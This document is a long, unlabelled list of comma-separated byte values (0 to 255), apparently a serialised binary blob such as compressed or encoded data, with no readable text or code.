140,223,230,130,105,82,26,94,18,43,33,166,201,66,38,245,72,92,217,9,219,154,16,94,109,130,250,181,54,114,113,204,90,119,224,7,126,155,253,100,49,12,116,59,229,66,176,71,134,57,242,219,161,206,76,83,157,217,138,181,86,157,121,101,173,50,207,68,191,233,234,161,113,45,244,157,170,148,153,213,119,212,67,205,61,201,239,139,113,239,54,255,61,101,92,203,184,15,149,50,139,71,153,103,83,188,105,186,33,136,152,20,74,11,154,198,22,92,70,115,6,6,84,161,68,48,99,78,203,165,97,102,109,162,75,114,61,66,209,164,32,239,30,104,164,234,243,91,40,183,253,209,22,185,250,114,181,163,48,114,32,61,33,65,143,236,43,218,249,255,157,174,159,59,164,209,13,232,100,6,31,235,229,34,70,125,207,41,38,223,38,213,44,142,182,168,205,120,47,137,240,165,76,217,30,229,122,99,207,189,108,78,226,153,75,165,36,119,138,71,107,151,134,27,144,173,86,102,187,218,245,198,227,50,219,74,61,155,133,178,93,96,230,65,210,4,165,195,111,136,207,36,179,12,13,93,46,37,197,44,191,61,135,47,229,117,119,48,243,135,198,191,244,62,128,57,175,239,241,18,96,208,51,101,106,142,10,217,242,200,124,175,116,106,64,85,64,74,200,236,235,227,163,226,178,52,52,61,8,231,227,170,153,2,102,182,174,13,115,199,211,177,241,120,108,180,101,42,250,231,123,253,153,62,243,125,224,55,245,83,217,202,251,184,172,147,202,142,160,178,78,213,76,101,41,103,239,126,240,124,166,82,171,229,16,161,160,142,2,232,57,162,225,138,14,175,119,190,106,246,178,228,1,149,180,81,150,33,181,161,186,14,115,160,152,210,99,21,244,135,43,250,230,19,130,69,89,9,120,106,200,8,226,201,43,148,18,111,35,246,161,183,202,78,189,180,96,87,79,169,100,132,134,250,42,233,141,178,52,200,119,160,82,30,101,141,99,181,213,126,212,109,253,165,122,218,122,169,67,44,10,87,11,37,89,89,109,82,102,155,21,55,93,49,130,224,115,65,235,170,234,120,174,239,228,216,164,129,54,23,28,166,182,248,109,116,88,118,245,102,109,210,146,17,115,9,29,113,142,106,236,189,116,147,102,66,212,101,177,168,54,167,88,116,5,239,161,178,130,186,129,53,59,25,45,19,191,184,2,0,154,234,240,23,58,61,226,123,8,193,64,13,93,143,54,175,71,188,149,207,92,180,39,167,72,18,207,147,160,142,137,205,87,232,240,52,6,5,10,195,142,166,86,71,83,161,129,157,116,84,178,219,131,54,181,252,152,117,119,91,218,255,5,144,28,115,33,144,180,214,111,4,48,139,1,74,127,82,85,126,24,176,210,218,0,147,192,0,195,132,203,238,3,14,240,22,32,103,74,48,79,109,232,59,47,229,18,173,251,8,15,6,115,129,142,24,45,147,12,159,231,112,65,179,181,225,122,250,226,40,28,44,202,194,21,164,6,103,126,167,130,202,164,11,43,248,65,146,172,64,15,174,208,147,9,215,133,93,10,142,91,51,168,194,97,214,134,131,220,61,84,106,176,54,252,62,150,9,23,214,209,22,121,139,88,27,126,58,104,8,215,203,204,177,6,251,46,71,198,252,48,226,130,65,142,114,166,13,238,113,201,119,122,188,114,212,133,61,62,49,234,130,30,231,165,235,61,14,102,115,248,185,244,65,189,13,166,233,61,213,51,219,174,71,162,126,29,209,3,21,102,172,237,103,156,126,179,2,112,165,123,124,213,1,122,166,223,84,197,218,17,81,40,67,208,251,40,141,97,154,79,210,153,28,193,254,65,128,14,47,118,123,83,195,153,26,235,83,178,110,151,172,141,46,110,160,130,71,173,9,22,190,54,65,114,247,90,98,114,44,126,179,122,170,213,49,128,251,176,10,247,77,231,233,151,164,28,71,39,245,101,1,164,45,29,157,184,158,236,249,146,92,16,103,76,67,167,226,28,117,92,1,123,63,162,76,85,214,154,242,39,63,9,234,108,3,136,26,190,188,123,37,9,245,235,60,230,38,187,124,70,246,56,148,59,136,85,77,27,159,250,117,70,60,243,125,248,236,54,6,110,100,190,245,58,189,96,115,158,206,183,126,250,50,201,61,95,249,125,201,151,126,128,194,4,60,240,122,159,120,167,68,75,138,39,200,215,252,159,38,194,112,44,92,184,182,246,166,52,226,195,41,174,159,32,109,233,30,154,40,139,79,188,76,23,148,97,255,25,87,81,165,152,20,144,184,90,252,252,9,2,23,223,56,49,231,23,132,153,171,231,32,222,123,159,157,50,175,53,193,97,82,140,78,3,47,190,75,10,89,144,145,0,62,232,94,127,163,76,161,235,12,52,87,184,195,38,162,70,232,12,182,184,99,192,221,111,164,255,193,76,108,114,179,112,50,84,69,8,211,133,124,242,232,24,181,206,25,28,65,79,136,227,202,6,179,168,165,189,221,59,212,222,20,218,96,214,104,129,9,56,72,161,73,151,155,153,236,249,99,3,230,240,60,139,200,48,49,177,222,67,152,130,216,1,147,127,65,155,26,113,187,181,181,244,86,242,65,40,88,202,30,210,197,179,86,167,87,194,79,113,57,189,16,60,34,105,2,19,143,97,254,42,116,59,203,179,174,181,104,35,31,103,145,250,150,24,165,30,116,93,57,194,7,39,3,126,128,131,32,142,210,106,214,192,241,41,13,222,21,170,53,49,197,239,13,120,157,195,12,132,106,205,112,83,82,148,198,151,97,110,146,36,8,62,2,83,36,84,205,142,37,212,28,21,225,203,79,26,90,91,89,196,148,11,53,34,66,75,24,29,210,137,17,91,225,77,147,30,50,64,74,82,42,105,223,209,245,81,78,176,188,79,220,52,154,237,161,74,108,139,106,88,202,110,67,66,223,104,61,12,5,238,58,102,56,195,169,182,192,165,132,70,233,226,77,236,60,187,247,10,181,225,57,220,239,225,237,176,208,113,87,39,61,80,224,198,34,220,176,43,230,235,240,182,41,252,113,76,108,153,36,193,244,63,106,98,148,202,99,112,109,204,94,227,190,15,16,238,56,129,254,148,210,93,213,161,148,210,61,211,169,148,218,196,227,163,164,72,220,190,154,120,31,33,251,164,19,103,165,89,70,1,244,98,254,229,44,51,34,21,218,246,95,41,41,82,155,106,98,170,157,113,145,96,90,240,253,0,176,16,56,179,97,246,160,240,89,222,233,79,161,231,142,130,187,173,75,60,55,26,156,28,19,223,2,43,24,107,219,116,30,161,53,99,236,71,253,73,11,207,126,97,125,188,249,236,39,151,180,137,118,84,223,1,68,110,5,43,226,215,230,219,3,171,220,0,25,193,62,225,152,172,75,80,61,102,151,248,126,127,53,11,46,49,160,90,7,193,241,62,139,26,85,33,122,2,195,213,52,11,139,38,99,22,104,85,58,149,13,38,188,219,50,211,229,177,91,51,129,229,91,194,25,197,161,150,36,177,187,26,244,71,106,130,154,11,254,24,23,34,129,23,154,129,103,46,99,153,60,57,3,95,140,142,143,28,132,201,13,102,67,96,56,83,217,153,52,201,123,74,234,252,168,167,236,39,189,249,87,211,1,160,109,117,21,168,61,73,180,227,215,152,217,196,159,79,58,9,162,17,185,93,112,8,151,203,85,48,173,49,74,101,134,106,107,244,61,174,235,207,234,146,200,250,25,77,166,51,138,13,117,225,1,13,216,192,176,133,107,26,165,52,13,79,170,20,58,161,192,87,249,252,199,202,198,124,73,21,126,247,120,15,225,220,189,201,84,114,73,77,172,65,245,156,43,116,55,29,28,58,195,155,88,78,201,236,4,172,73,155,200,204,23,218,9,161,187,205,134,208,221,105,4,106,196,189,139,229,204,160,57,151,100,166,181,184,36,123,24,191,204,93,166,89,241,72,94,26,64,16,192,207,227,23,194,54,251,81,218,126,79,54,75,76,22,20,95,164,199,40,191,132,183,66,104,208,137,119,99,46,238,149,15,148,84,234,186,122,196,250,212,33,197,99,138,187,107,154,6,49,48,26,112,254,67,147,214,4,194,197,57,180,37,65,241,57,91,176,206,12,57,135,67,85,212,209,226,156,112,249,97,80,153,134,225,161,235,56,204,208,252,112,174,174,105,61,32,126,150,203,155,139,78,251,83,139,228,102,185,250,102,22,191,72,83,131,81,170,179,44,116,36,87,9,70,11,30,154,180,106,87,175,85,45,239,7,36,22,63,200,100,242,72,98,205,116,75,232,167,26,203,23,210,209,216,144,89,155,63,196,218,208,13,10,70,217,180,228,214,77,121,78,7,12,32,125,200,184,194,76,211,27,115,104,159,212,22,188,19,172,105,45,45,4,48,8,207,77,87,74,179,180,149,11,188,226,235,155,64,29,206,10,221,101,166,172,69,105,225,170,244,228,14,123,83,109,65,81,170,53,4,138,125,168,47,87,61,70,112,87,36,195,198,242,220,28,113,28,84,150,210,172,80,75,54,173,83,145,82,110,182,238,43,76,45,104,91,255,81,239,146,55,150,61,34,219,169,176,159,84,74,179,149,154,66,106,136,91,121,146,91,201,182,127,128,54,66,77,233,201,205,138,195,92,91,224,74,93,125,163,108,192,233,21,191,76,149,13,220,123,53,231,45,6,61,168,41,155,242,89,247,205,74,45,248,100,253,71,180,133,148,210,105,250,99,169,154,173,84,193,187,73,240,107,136,187,238,135,193,30,165,38,93,169,201,240,167,44,81,54,228,41,27,114,149,154,73,162,115,33,115,32,70,133,103,154,148,188,112,81,182,146,30,46,204,85,42,79,132,190,52,6,79,247,38,169,239,42,115,115,232,41,160,212,76,171,209,245,30,211,221,210,167,148,18,236,247,194,18,80,5,91,138,164,119,113,68,18,27,69,18,79,171,241,14,181,67,169,136,110,250,179,70,184,70,109,179,176,40,213,125,214,125,39,147,255,84,11,212,104,24,237,99,99,114,207,80,158,120,71,36,120,185,117,95,114,115,151,45,185,181,57,106,171,85,146,123,78,3,36,67,46,113,73,248,129,164,59,206,208,163,148,110,62,2,68,21,209,160,131,26,179,238,187,196,250,118,106,243,231,182,228,230,240,51,6,122,216,36,183,171,135,110,122,95,22,86,91,155,133,173,249,239,182,155,218,105,70,10,218,3,67,26,62,8,12,241,39,85,214,14,45,61,143,189,85,17,165,26,212,96,127,15,72,90,212,186,128,23,120,75,173,49,185,183,14,158,182,31,162,118,83,3,65,250,59,36,112,63,253,189,36,88,71,133,147,219,100,15,169,19,244,210,127,48,105,63,156,204,158,237,129,59,122,235,219,67,158,181,190,112,200,134,254,71,232,101,114,249,59,214,125,134,103,147,35,141,232,216,229,239,36,211,173,88,17,189,188,156,18,67,239,27,172,187,143,219,154,207,37,190,213,247,106,21,123,205,77,31,177,201,85,11,55,68,147,218,112,0,154,214,205,12,239,8,58,156,93,246,139,92,234,107,139,252,161,85,93,103,9,181,166,169,83,123,71,208,70,16,96,74,82,191,47,81,167,20,156,13,254,19,171,223,162,150,218,88,9,146,55,128,95,166,47,181,238,115,154,246,203,173,254,126,240,90,220,169,11,218,214,209,220,148,21,204,12,172,158,65,173,55,104,129,84,181,164,109,189,50,36,108,154,216,59,113,191,220,174,239,7,175,67,222,39,219,96,171,133,178,167,23,108,133,1,151,213,54,89,226,132,90,223,6,219,133,189,71,25,232,181,240,145,171,205,55,6,135,171,69,211,146,155,229,89,11,208,166,108,1,48,108,116,206,42,162,212,252,64,206,77,52,161,182,90,170,111,140,117,223,36,99,109,193,71,107,71,175,186,44,212,148,84,155,63,205,24,236,174,205,207,11,18,130,211,107,6,68,77,14,181,105,52,168,141,249,134,70,188,106,220,129,236,155,218,182,217,234,63,8,92,181,45,195,248,189,15,215,142,254,222,167,107,109,133,27,167,25,13,65,177,49,207,128,130,139,64,51,90,212,66,5,23,233,23,131,253,3,2,78,74,197,128,88,164,233,170,134,115,217,3,154,63,69,124,120,62,166,72,106,87,161,25,26,200,81,157,166,155,190,2,58,99,14,29,34,32,77,7,205,252,254,223,147,223,117,138,175,7,98,89,77,4,148,58,94,53,246,154,183,121,175,56,243,193,198,47,140,75,106,182,29,138,93,204,57,124,49,187,232,46,20,51,169,242,55,250,103,241,83,31,46,182,97,58,185,91,76,68,236,202,251,56,246,126,86,229,34,72,135,184,101,50,231,34,142,139,138,97,136,123,82,230,43,51,50,67,208,8,67,11,130,115,67,181,218,210,112,198,218,240,27,90,128,61,70,222,46,32,135,36,183,74,108,157,48,98,29,113,7,171,144,217,150,91,117,58,46,164,146,129,148,171,169,160,57,168,30,91,111,10,109,26,181,61,156,241,189,228,168,10,5,224,121,244,188,31,78,143,127,235,190,166,249,84,222,213,59,70,45,143,132,154,147,160,240,234,56,65,149,11,126,132,176,10,6,222,28,21,81,122,213,219,233,194,167,178,57,161,86,147,146,28,106,49,113,77,41,212,94,239,239,213,186,72,232,72,154,90,221,173,150,178,134,165,155,214,161,167,140,254,76,108,234,153,17,19,99,246,16,70,230,5,46,22,21,175,1,17,107,163,235,255,102,235,190,7,76,141,114,51,70,232,172,22,229,170,174,73,189,169,106,197,128,234,136,190,45,55,244,89,108,183,73,246,15,98,209,192,229,229,105,129,54,184,90,104,193,255,176,132,82,152,78,59,35,230,120,202,11,83,27,180,39,156,176,182,235,17,239,178,18,42,166,84,11,220,160,150,101,194,247,90,52,127,109,250,154,12,213,180,135,134,152,220,2,110,151,124,71,219,168,145,210,130,181,233,171,186,117,226,152,90,150,165,206,203,72,126,55,108,90,105,221,103,74,87,77,155,146,91,122,255,194,187,33,13,16,83,169,136,120,9,100,138,206,1,201,117,146,134,209,252,133,62,3,245,82,91,205,20,166,199,11,7,107,135,90,247,21,243,93,208,2,2,242,202,52,143,87,152,83,193,218,167,14,226,6,154,157,218,91,66,107,115,79,36,27,186,223,129,84,179,90,146,106,73,110,5,217,56,53,149,111,81,168,111,6,70,216,212,146,17,105,201,32,161,148,140,160,116,167,56,148,162,211,228,45,133,181,5,197,169,52,198,85,251,96,49,26,27,170,77,253,74,109,125,246,166,102,245,189,171,62,154,239,20,205,80,211,133,62,229,24,202,112,237,183,236,38,235,50,54,226,106,81,139,179,177,25,189,201,173,90,59,61,173,6,25,68,82,43,44,236,29,48,59,116,119,54,97,41,57,6,49,105,1,223,207,225,121,217,201,101,150,208,97,147,182,214,230,20,59,178,98,136,11,191,37,192,131,33,252,65,141,120,253,195,170,66,119,102,27,212,111,66,119,230,24,232,138,59,253,162,51,60,59,91,172,26,167,139,16,198,101,50,114,60,34,29,116,139,55,14,203,3,114,221,121,86,42,182,214,111,195,204,102,132,203,59,92,190,27,47,33,68,166,93,226,145,107,196,146,1,224,154,141,39,40,191,199,9,42,229,137,25,236,40,132,109,229,250,186,238,147,82,243,11,111,212,53,74,28,242,172,136,161,110,246,14,24,28,16,218,124,230,230,202,252,59,238,151,249,111,140,229,31,169,231,255,100,126,44,255,123,243,193,67,214,229,104,220,16,164,57,25,118,236,6,97,89,124,223,196,216,92,184,34,194,84,101,150,152,81,233,38,50,207,15,87,236,158,47,105,203,48,16,19,19,152,161,43,51,162,164,234,66,26,82,88,42,116,141,129,80,182,24,17,212,227,219,117,31,204,37,221,39,45,221,246,21,13,38,134,3,233,117,17,70,215,78,155,165,70,210,63,169,41,197,168,54,87,199,220,13,232,166,95,105,85,147,212,79,91,217,118,38,162,80,215,246,162,152,67,185,9,186,253,87,175,54,114,7,228,67,175,200,255,89,39,133,3,227,18,241,207,113,127,131,127,245,198,5,7,116,22,141,30,161,211,80,233,133,112,42,91,211,122,191,240,186,176,145,180,145,187,99,246,17,210,61,126,208,55,159,100,3,155,17,93,139,242,72,205,18,58,185,75,116,166,110,170,244,94,159,13,63,8,103,194,13,187,65,194,133,137,76,75,178,36,210,243,131,45,135,85,201,58,148,96,23,189,16,21,71,183,226,232,20,235,135,130,181,146,52,104,72,214,250,205,108,218,114,215,160,97,129,215,25,235,173,163,3,50,143,15,241,161,233,136,81,204,212,149,3,247,156,183,36,71,161,132,176,18,82,44,95,90,232,132,204,79,101,35,234,193,83,61,139,145,167,97,207,183,172,136,131,167,105,195,49,84,15,43,222,180,43,46,135,215,229,215,145,234,241,217,210,240,46,227,177,131,154,46,53,19,124,54,118,206,176,253,156,228,28,79,73,210,201,209,136,96,66,181,100,203,206,145,107,123,157,76,96,235,72,207,95,175,147,72,254,54,94,138,6,149,59,165,104,80,239,181,190,180,57,82,213,239,135,177,60,45,227,165,162,193,13,78,233,63,83,247,150,25,207,42,196,188,88,214,237,227,165,222,204,121,88,88,187,75,208,51,170,31,15,190,126,37,149,158,255,204,234,91,113,189,84,41,129,96,207,82,124,151,119,136,222,84,73,132,201,79,193,115,119,215,160,13,226,55,212,224,18,232,56,207,34,131,131,38,250,50,147,62,209,129,171,18,147,28,176,202,9,62,101,210,39,88,231,185,105,19,117,23,140,134,194,24,75,192,222,148,111,180,62,197,32,62,148,111,8,164,209,46,167,67,68,239,28,139,228,185,36,243,249,137,41,120,242,1,28,240,204,119,217,207,120,252,70,200,170,105,244,190,24,208,107,53,81,17,234,102,112,88,168,110,192,104,125,82,30,61,200,168,193,228,229,5,18,50,96,44,176,132,140,188,89,212,106,248,50,243,120,157,234,57,24,61,56,234,114,186,52,59,228,176,166,42,229,81,105,77,142,170,45,132,93,80,248,176,174,2,81,120,192,9,3,9,184,7,236,16,161,210,243,100,176,3,55,139,71,60,48,150,245,77,134,120,196,253,6,102,216,21,126,71,57,87,157,64,201,215,226,125,56,211,164,210,245,100,118,205,215,130,54,170,14,234,169,149,131,7,31,3,185,96,124,209,235,148,240,184,252,234,52,194,125,8,203,251,88,252,230,175,76,234,28,31,118,164,41,213,105,78,143,155,42,129,163,187,169,76,75,49,201,122,174,86,143,139,111,207,67,122,147,18,245,164,156,193,77,240,11,196,166,3,40,72,147,209,179,240,182,64,138,104,59,15,181,236,92,145,61,155,133,110,196,43,229,154,70,239,51,117,110,134,120,129,63,51,212,185,233,226,89,254,76,135,187,196,199,248,51,77,157,107,19,161,114,86,233,86,54,216,196,166,243,32,61,30,175,233,89,119,94,39,251,231,186,97,131,44,226,241,42,213,157,98,242,159,233,220,12,99,179,97,206,113,172,122,80,108,115,186,212,119,197,80,118,104,73,175,203,66,8,61,105,56,189,160,30,231,215,153,173,245,175,3,254,186,233,21,218,23,94,157,41,58,255,34,5,94,119,92,43,143,72,106,57,211,195,30,164,232,112,241,28,134,246,15,209,5,198,6,57,225,196,229,90,222,232,46,186,133,86,92,35,117,102,78,64,42,19,118,104,34,49,23,30,214,250,93,172,194,177,0,222,113,51,209,175,5,225,217,185,98,84,153,20,135,221,53,23,167,220,22,38,204,250,93,47,251,231,147,238,8,133,139,58,11,245,172,46,58,31,225,226,116,167,24,126,94,150,72,162,167,96,111,50,21,200,47,8,94,62,184,8,13,53,131,242,228,215,217,172,245,117,204,173,20,78,175,215,231,116,128,51,180,146,93,83,11,86,188,164,217,241,165,63,32,149,156,196,53,48,23,250,128,36,181,122,144,242,228,3,48,57,250,64,17,75,175,81,228,145,107,152,67,241,182,252,105,188,70,211,157,181,70,197,211,114,252,106,30,232,181,98,43,135,162,106,174,80,199,98,26,63,166,1,87,176,3,156,62,241,22,91,157,234,22,175,227,151,167,91,172,236,230,167,126,171,41,107,23,181,37,150,162,31,199,184,31,54,113,28,243,31,236,163,79,159,105,21,100,42,102,200,198,11,144,169,94,239,249,45,215,196,12,108,219,132,69,239,73,58,186,38,206,95,195,22,187,212,60,97,228,158,192,39,232,187,67,217,208,44,33,225,179,229,218,222,56,27,155,193,235,137,47,149,90,110,163,157,124,173,184,20,25,142,43,117,54,49,100,182,164,246,105,119,240,226,42,117,209,158,143,33,83,243,229,29,177,28,127,185,67,230,248,99,60,135,248,0,159,213,157,112,67,29,8,192,84,2,104,28,17,23,84,195,102,209,242,123,125,169,134,36,67,184,56,205,169,173,54,135,103,155,216,8,10,118,9,132,122,194,197,11,216,102,216,21,215,66,249,58,92,156,201,70,85,95,191,138,165,240,205,78,100,31,50,192,84,65,218,205,203,239,144,224,22,12,123,2,2,14,164,214,124,67,119,204,234,76,212,177,13,115,101,89,37,39,180,238,26,221,216,218,97,208,17,40,34,231,14,22,52,137,83,90,237,90,153,72,231,65,156,16,182,59,228,37,98,190,35,70,126,147,144,3,84,0,182,249,163,158,115,135,231,229,138,225,86,120,154,249,27,84,9,141,193,161,254,113,251,65,209,239,29,226,191,114,63,118,99,165,50,207,28,94,107,243,101,175,100,145,56,165,204,34,206,102,202,227,85,52,86,82,54,127,61,11,231,42,151,59,54,142,87,211,12,4,33,243,106,153,188,149,146,125,143,203,226,226,77,148,133,101,42,147,94,216,143,212,231,244,212,159,201,212,12,241,87,189,236,28,164,54,234,169,15,203,212,52,209,166,167,222,50,11,87,236,224,163,243,158,248,252,107,130,57,101,89,88,138,255,130,17,140,51,236,133,35,154,191,58,61,224,131,28,238,123,206,112,25,157,194,75,191,102,210,201,124,172,135,43,38,160,219,112,37,159,107,58,128,133,197,146,128,245,254,29,124,172,105,207,246,165,115,227,153,98,182,222,248,239,103,114,22,37,104,22,83,169,92,107,89,54,72,40,189,201,202,218,236,252,213,153,129,209,232,241,242,63,233,133,174,208,11,173,159,41,239,212,148,43,165,28,19,52,104,222,183,55,41,73,225,59,114,149,25,38,101,134,77,153,145,166,204,72,87,102,100,40,51,50,197,179,208,30,61,164,91,224,145,55,214,53,116,161,208,85,227,55,58,197,75,87,73,42,57,45,69,227,57,169,53,252,187,209,44,246,168,187,34,177,120,98,195,167,107,49,127,66,208,6,67,167,80,20,173,27,11,28,183,247,54,150,122,8,90,68,242,185,152,81,58,11,67,71,109,148,142,57,212,140,145,26,28,135,203,112,146,7,98,229,167,143,101,128,250,114,153,28,205,212,209,252,68,136,53,76,185,252,87,46,20,158,46,142,141,163,168,203,146,99,62,5,189,54,161,157,5,97,43,127,137,47,48,220,173,77,238,123,23,250,2,16,60,206,95,226,12,76,119,203,195,85,70,135,107,45,109,62,19,53,53,12,3,44,91,192,157,122,251,106,70,86,88,225,225,172,164,103,103,149,113,135,174,139,210,134,40,9,59,118,185,157,226,96,244,188,6,14,88,223,75,132,125,189,196,36,244,151,94,10,55,188,112,94,146,237,179,32,87,52,53,220,0,41,94,95,46,157,47,167,168,165,18,126,227,65,31,14,91,195,135,3,192,74,197,124,138,211,11,137,242,115,231,217,79,243,121,246,73,4,241,81,167,152,56,40,253,102,74,15,53,229,133,195,168,211,79,111,109,42,127,25,165,135,14,51,100,133,59,46,183,27,132,100,51,252,208,114,203,232,73,19,243,110,34,234,100,32,82,48,15,209,7,51,17,35,35,116,162,143,177,76,15,155,19,50,176,229,39,150,149,72,149,78,172,79,172,250,142,19,235,192,37,244,100,200,164,124,19,155,122,179,81,138,217,90,4,29,64,229,55,75,35,184,64,201,129,239,16,164,73,246,244,182,239,49,198,30,56,208,95,242,192,69,214,200,76,89,217,82,168,13,116,120,100,92,182,140,155,67,49,173,142,62,105,32,41,34,5,80,6,160,238,194,156,62,244,11,58,49,131,58,182,56,166,48,30,19,224,216,99,236,29,26,239,101,194,122,157,15,206,118,233,9,48,237,236,121,122,197,31,92,185,180,136,160,252,199,55,157,109,52,210,99,97,155,229,138,141,167,28,91,135,205,8,9,99,240,43,166,251,20,178,152,19,33,159,187,128,142,22,178,239,78,223,121,166,177,232,47,241,8,175,56,97,79,123,145,35,219,247,220,42,246,236,102,6,178,106,41,117,137,7,207,156,103,180,124,203,151,186,168,182,219,163,181,15,118,108,237,165,134,116,183,197,118,237,205,21,84,220,235,214,71,37,177,37,58,226,114,2,156,94,143,215,27,79,4,150,117,48,242,238,130,88,107,205,93,73,78,154,68,175,239,209,85,186,109,171,202,193,246,136,37,91,196,251,54,30,6,92,204,11,123,78,70,217,59,111,92,106,139,166,82,42,113,206,17,63,250,156,65,117,96,134,91,184,216,249,21,149,244,29,94,5,62,153,191,214,45,5,121,212,40,27,36,193,35,204,141,37,127,161,136,71,191,7,22,230,160,197,70,0,109,243,121,233,139,84,62,202,230,164,130,54,41,236,178,110,107,125,38,56,78,147,27,183,163,101,137,224,15,216,233,9,84,151,96,108,183,225,180,214,13,224,113,26,21,159,193,63,42,124,140,31,52,240,227,103,239,57,136,229,56,69,254,191,228,44,203,8,188,31,178,248,17,137,224,65,24,187,114,122,68,58,63,165,12,171,9,123,24,254,173,196,162,216,93,185,116,33,69,207,43,136,207,219,86,115,177,132,25,104,154,81,175,140,56,184,181,20,245,80,221,62,72,21,103,167,172,12,198,242,42,142,99,48,250,209,234,56,48,141,201,219,44,121,161,212,29,86,130,109,214,75,29,237,180,20,51,138,88,231,90,62,88,227,195,233,57,9,19,42,113,147,51,131,119,116,86,33,203,239,224,116,98,246,120,187,184,213,79,213,150,103,67,95,36,211,166,153,150,164,86,152,155,181,164,240,164,253,103,63,11,140,91,110,58,232,186,249,249,99,205,77,214,229,77,79,76,222,114,149,253,80,115,211,240,123,218,83,54,253,253,185,39,95,26,29,106,53,6,255,168,182,216,143,134,186,146,105,115,7,174,196,31,11,182,249,117,214,63,204,77,106,254,220,102,253,67,169,177,185,203,108,111,179,254,33,213,222,188,188,233,194,202,218,237,31,170,135,154,133,205,126,104,121,219,61,239,244,54,208,102,82,155,155,197,112,228,156,252,242,171,135,212,182,230,30,155,189,141,222,21,138,89,151,99,245,28,252,101,70,17,77,197,64,249,194,199,13,246,147,16,90,29,32,56,117,219,233,243,58,109,244,114,251,209,112,177,113,238,166,111,254,70,240,218,234,104,83,63,233,253,84,146,0,164,77,62,143,184,154,133,11,62,240,223,86,117,246,212,182,205,185,180,50,91,77,183,149,134,206,15,91,255,231,35,101,195,116,133,16,16,5,186,120,227,182,211,223,229,229,230,42,170,206,254,65,145,245,149,230,253,16,156,56,123,74,61,20,235,146,151,158,50,95,187,221,224,246,49,159,205,37,125,122,197,133,212,70,233,204,110,51,164,34,193,241,211,223,186,241,227,250,159,170,104,47,252,191,170,162,231,11,249,18,129,73,41,122,138,40,21,3,161,113,56,224,101,158,240,202,36,175,71,252,234,43,64,37,168,96,205,44,98,124,11,116,202,247,196,149,210,246,30,93,244,94,241,103,220,152,132,56,220,124,133,188,232,159,40,132,122,208,38,42,88,165,63,119,19,160,206,80,104,96,131,231,243,144,170,118,216,155,156,44,222,229,79,118,58,217,220,164,135,133,78,227,195,15,38,135,174,55,48,201,192,198,111,111,240,116,135,184,156,96,245,74,53,165,96,210,53,67,226,195,137,137,179,50,8,243,155,212,67,118,233,104,219,233,165,90,65,14,98,232,72,253,239,8,207,208,146,143,108,51,159,121,127,171,101,108,217,204,130,175,215,156,230,39,108,225,124,183,4,171,131,234,146,14,215,88,78,117,38,117,154,77,81,86,53,156,164,167,29,161,176,71,158,61,91,55,176,205,52,44,151,54,65,193,233,245,95,234,172,94,73,220,98,127,104,0,165,176,250,94,125,33,244,0,142,246,44,94,112,213,3,146,114,18,3,228,154,129,45,184,93,8,199,247,64,189,50,205,55,109,22,175,29,174,67,176,34,95,141,72,0,227,216,225,47,161,75,255,104,100,240,165,15,185,74,220,187,59,6,221,187,152,182,38,93,38,71,234,116,243,54,85,43,250,123,47,17,17,73,115,30,162,182,139,20,131,97,144,63,100,139,145,113,151,249,116,237,106,218,216,24,205,39,202,240,176,139,62,223,68,151,149,6,72,95,185,197,90,234,68,21,129,93,6,222,18,222,69,207,51,54,113,199,41,218,72,147,27,169,64,85,149,78,61,230,155,15,36,179,143,252,242,219,87,249,99,128,114,183,87,157,254,2,46,138,143,229,170,112,154,244,63,191,151,21,77,101,233,100,121,231,81,52,149,39,252,128,187,192,177,78,182,254,249,49,157,230,208,8,40,214,187,60,132,232,114,249,3,124,237,236,4,210,21,27,31,112,87,73,61,148,196,181,183,17,161,70,8,194,130,200,3,50,214,253,95,242,68,43,111,33,66,70,131,6,219,8,58,226,248,112,195,0,154,93,185,26,104,212,84,12,31,66,145,99,19,217,14,72,186,220,199,158,152,116,19,203,235,176,215,249,222,254,152,157,137,18,181,34,203,222,228,46,108,45,201,202,204,102,26,77,48,91,253,196,91,171,148,100,77,178,31,245,167,87,226,107,138,122,196,250,202,33,255,8,101,78,86,26,253,75,167,127,211,160,65,127,79,83,178,178,32,43,87,9,100,77,162,242,215,77,193,122,148,100,21,134,103,24,239,137,38,55,206,40,135,210,74,73,86,70,232,111,3,214,87,206,135,203,166,80,224,106,66,188,75,178,174,13,83,180,83,28,31,78,227,204,166,239,28,39,43,189,31,28,14,10,64,208,204,129,223,83,64,157,109,130,130,62,42,161,223,116,39,181,146,145,55,147,46,173,91,110,214,109,48,228,142,0,58,156,38,42,134,243,214,129,2,98,54,11,210,168,115,205,173,169,27,113,193,249,240,144,158,107,102,131,238,7,135,178,130,93,77,143,163,43,166,136,20,234,203,11,45,53,75,177,152,42,101,166,69,153,105,162,155,250,35,58,114,191,216,219,14,21,250,224,24,127,94,149,232,158,198,232,250,48,80,44,170,8,25,3,209,102,39,50,132,203,219,16,183,103,168,124,248,68,242,131,237,214,71,154,88,112,166,195,80,64,129,159,180,108,123,119,107,245,55,226,43,136,43,214,181,129,234,65,111,24,213,180,79,203,21,95,219,248,113,254,254,112,221,169,236,15,46,149,180,144,182,2,126,105,179,5,148,3,244,189,237,93,241,26,138,155,246,109,123,87,45,52,179,160,74,167,216,161,71,149,127,163,86,218,96,98,231,71,50,34,212,103,131,92,141,186,46,13,98,165,48,4,102,128,116,140,67,128,11,93,106,82,106,204,202,6,139,248,138,246,12,108,54,45,70,91,193,8,186,91,74,253,71,151,55,23,106,9,1,1,147,97,255,1,26,167,56,79,15,171,208,244,70,104,78,5,70,169,195,121,114,142,6,134,187,196,16,26,122,104,60,39,104,147,145,85,23,151,160,249,149,37,15,39,74,6,75,98,37,131,153,152,214,112,1,79,171,5,83,152,116,9,45,84,27,77,236,81,133,243,128,18,25,180,236,220,3,99,211,41,40,205,202,95,151,13,189,176,25,150,227,224,118,90,83,118,211,95,94,243,135,168,69,84,127,75,65,98,213,118,14,147,171,166,119,149,23,175,113,119,123,220,168,52,216,173,94,245,172,148,19,102,59,84,81,167,239,113,7,163,61,190,46,71,76,70,88,45,143,210,176,151,169,198,112,197,128,119,190,175,157,18,92,154,211,194,44,194,192,116,213,72,129,180,222,75,105,17,75,41,60,148,195,102,136,1,67,172,184,159,160,153,145,69,135,113,235,159,148,101,226,121,192,105,111,248,128,194,195,230,107,46,10,71,9,175,44,142,153,100,213,105,130,27,10,3,86,109,77,137,54,114,1,165,40,27,10,149,13,37,234,220,105,131,106,217,48,141,112,1,127,82,37,45,155,61,38,126,231,183,249,246,56,88,88,77,188,243,247,24,206,49,134,98,87,234,177,123,227,177,67,26,147,10,13,27,123,135,169,14,60,92,21,51,40,191,22,170,233,80,154,33,70,169,77,131,33,71,175,75,77,118,211,176,233,120,204,82,147,